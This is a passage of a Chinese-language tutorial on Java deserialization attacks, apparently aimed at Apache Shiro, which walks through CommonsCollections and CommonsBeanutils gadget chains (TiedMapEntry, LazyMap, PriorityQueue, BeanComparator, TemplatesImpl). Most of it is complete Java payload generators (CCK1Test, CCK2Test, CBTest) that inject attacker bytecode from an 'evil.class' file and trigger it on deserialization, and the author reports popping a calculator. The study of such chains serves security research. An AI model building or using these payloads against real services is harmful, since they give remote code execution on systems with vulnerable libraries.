                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

那么我们将TiedMapEntry设置为key。
我们重新捋一下思路。
HashMap.readObject->TiedMapEntry.hashCode->TiedMapEntry.getValue->Lazymap.get(key)
Lazymap可以用decorate实例化对象,且factory可控。

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

那么我们来构造payload(这时候的payload)

public static void main(String[] args) throws Exception{
    TemplatesImpl templates=new TemplatesImpl();
    Class tc=templates.getClass();
    Field tn=tc.getDeclaredField("_name");
    tn.setAccessible(true);
    tn.set(templates,"aaaa");
    Field tbytecode=tc.getDeclaredField("_bytecodes");
    tbytecode.setAccessible(true);
    byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
    byte[][] codes={code};
    tbytecode.set(templates,codes);
    InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
    HashMap<Object,Object> map=new HashMap<>();
    Map<Object,Object> lazymap= LazyMap.decorate(map,new ConstantTransformer(1));//然后实例化一个Lazymap.左边是hashmap,右边是恶意的InvokerTransformer,改成ConstantTransformer为了不让他在本地执行
    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,templates);//TiedMapEntry给lazymap用于触发lazymap.get,后面的templates为InvokerTransformer.transorm中的对象。
    HashMap<Object,Object> map2=new HashMap<>();//定义一个hashmap作为起点
    map2.put(tiedMapEntry,"bbb");//将tiedMapEntry传入HashMap的key,然后在Hashmap.readObject中进行一次hash的调用,从而调用到tiedMapEntry.hashCode
    lazymap.remove(templates);//remove是因为Lazymap中有一个map.containsKey(key)的一个判断用于过判断
}

然后我们之前将恶意的InvokerTransformer改成了ConstantTransformer,现在用反射改回来,以便在反序列化的时候成功完成攻击。

public class CCK1Test {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazymap= LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,templates);
        HashMap<Object,Object> map2=new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazymap.remove(templates);
        Class c=LazyMap.class;
        Field ff=c.getDeclaredField("factory");
        ff.setAccessible(true);
        ff.set(lazymap,invokerTransformer);
        //serialize(map2);
        unserialize("ser.bin");
    }

这时候我们的payload就完成辣。
其实CC3和CC4的差别不大,只是在CC4中LazyMap.decorate变成了Lazymap.lazyMap

public class CCK2Test {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazymap= LazyMap.lazyMap(map,new ConstantTransformer(1));//然后实例化一个Lazymap.左边是hashmap,右边是
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,templates);
        HashMap<Object,Object> map2=new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazymap.remove(templates);
        Class c= LazyMap.class;
        Field ff=c.getDeclaredField("factory");
        ff.setAccessible(true);
        ff.set(lazymap,invokerTransformer);
        //serialize(map2);
        unserialize("ser.bin");
    }
}

但CC4.4以后的版本,InvokerTransformer的序列化接口被去掉了,导致了InvokerTransformer无法被序列化。

2.无CC依赖

在实战中也许目标没有CC依赖,但是shiro自带Commons-beanutils依赖。
java Bean的概念就是通过private修饰字段,然后定义(public)get set方法对其进行设置访问.
在Commons-beanutils中有一个PropertyUtils.getProperty方法,可以通过这个方法对javaBean中的字段进行访问调用。
image.png
一直跟进getProperty,会找到getSimpleProperty

public Object getSimpleProperty(Object bean, String name)
    throws IllegalAccessException, InvocationTargetException,
    NoSuchMethodException {

    if (bean == null) {
        throw new IllegalArgumentException("No bean specified");
    }
    if (name == null) {
        throw new IllegalArgumentException("No name specified for bean class '" +
                                           bean.getClass() + "'");
    }

    // Validate the syntax of the property name
    if (resolver.hasNested(name)) {
        throw new IllegalArgumentException
            ("Nested property names are not allowed: Property '" +
             name + "' on bean class '" + bean.getClass() + "'");
    } else if (resolver.isIndexed(name)) {
        throw new IllegalArgumentException
            ("Indexed property names are not allowed: Property '" +
             name + "' on bean class '" + bean.getClass() + "'");
    } else if (resolver.isMapped(name)) {
        throw new IllegalArgumentException
            ("Mapped property names are not allowed: Property '" +
             name + "' on bean class '" + bean.getClass() + "'");
    }

    // Handle DynaBean instances specially
    if (bean instanceof DynaBean) {
        DynaProperty descriptor =
            ((DynaBean) bean).getDynaClass().getDynaProperty(name);
        if (descriptor == null) {
            throw new NoSuchMethodException("Unknown property '" +
                                            name + "' on dynaclass '" + 
                                            ((DynaBean) bean).getDynaClass() + "'" );
        }
        return (((DynaBean) bean).get(name));
    }

    // Retrieve the property getter method for the specified property
    PropertyDescriptor descriptor =
        getPropertyDescriptor(bean, name);
    if (descriptor == null) {
        throw new NoSuchMethodException("Unknown property '" +
                                        name + "' on class '" + bean.getClass() + "'" );
    }
    Method readMethod = getReadMethod(bean.getClass(), descriptor);
    if (readMethod == null) {
        throw new NoSuchMethodException("Property '" + name +
                                        "' has no getter method in class '" + bean.getClass() + "'");
    }

    // Call the property getter and return the value
    Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
    return (value);

}

跟进invokeMethod (部分代码)

private Object invokeMethod(
    Method method, 
    Object bean, 
    Object[] values) 
    throws
    IllegalAccessException,
    InvocationTargetException {
    if(bean == null) {
        throw new IllegalArgumentException("No bean specified " +
                                           "- this should have been checked before reaching this method");
    }

    try {

        return method.invoke(bean, values);

    }

Method要满足javabean格式的get方法,bean就是java类对象,values就是方法的值。
找到似曾相识的TemplatesImpl.getOutputProperties,完美符合我们的要求。

public synchronized Properties getOutputProperties() { 
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

学过CC3的应该能够直接想到怎么构造。但是要注意,getProperty会将我们传入的方法首字母改成大写,且添加get。所以我们这里的第二个参数,也就是我们要触发的getOutputProperties,写成outputProperties

public static void main(String[] args) throws Exception{
    TemplatesImpl templates=new TemplatesImpl();
    Class tc=templates.getClass();
    Field tn=tc.getDeclaredField("_name");
    tn.setAccessible(true);
    tn.set(templates,"aaaa");
    Field tbytecode=tc.getDeclaredField("_bytecodes");
    tbytecode.setAccessible(true);
    byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
    byte[][] codes={code};
    tbytecode.set(templates,codes);
    Field tfactory=tc.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    PropertyUtils.getProperty(templates,"outputProperties");

}

也是成功弹出计算器。
那我们现在就要找getProperty的方法的调用点。
我们首先锁定四个类。
image.png
除了BeanComparator,其他的都没实现序列化接口。
那我们关注到BeanComparator.compare

public int compare( Object o1, Object o2 ) {

    if ( property == null ) {
        // compare the actual objects
        return comparator.compare( o1, o2 );
    }

    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return comparator.compare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    } 
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    } 
}

PriorityQueue,java的优先队列类。这个类的readObject中有一个heapify()方法,一直跟进。就会找到PriorityQueue.siftDownUsingComparator

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

其实到这一步,我们的思路就很明确了。
一个粗略图。
image.png

最终的payload

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CBTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        BeanComparator beanComparator=new BeanComparator("outputProperties");
        PriorityQueue priorityQueue=new PriorityQueue(new TransformingComparator(new ConstantTransformer(1)));
        priorityQueue.add(templates);
        priorityQueue.add(1);
        Class c=PriorityQueue.class;
        Field field=c.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue,beanComparator);
        //serialize(priorityQueue);
        unserialize("ser.bin");
    }
}

在此特别感谢白日梦组长。大佬tql